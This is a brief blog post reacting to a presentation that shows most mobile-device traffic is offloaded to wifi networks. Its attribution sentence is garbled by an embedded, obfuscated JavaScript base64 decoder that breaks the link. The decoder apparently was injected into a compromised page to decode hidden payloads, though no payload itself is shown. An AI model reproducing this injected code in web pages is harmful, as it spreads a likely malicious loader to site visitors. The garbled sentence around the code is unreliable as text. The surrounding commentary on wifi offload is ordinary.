So much for mobile-only network strategies…

I had a “wow!” moment this morning reviewing a presentation given by WiK’s Scott Marcus entitled State-of-the-Art Mobile Internet connectivity (thanks for function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandoff-thats-why-mobile-data.html”>Chris Marsden for pointing this out).

In particular, there’s one graph in there that blew my mind, I’m reproducing it here.

This shows the proportion of mobile data traffic that is offloaded to private wifi networks (in blue) or public wifi networks (in light blue). Basically, only a quarter to a third of the data traffic consumed by mobile devices is actually delivered over mobile networks (except in Japan and India where it's half).

Wow.

Take that, "we'll only need mobile networks in the future" posse...
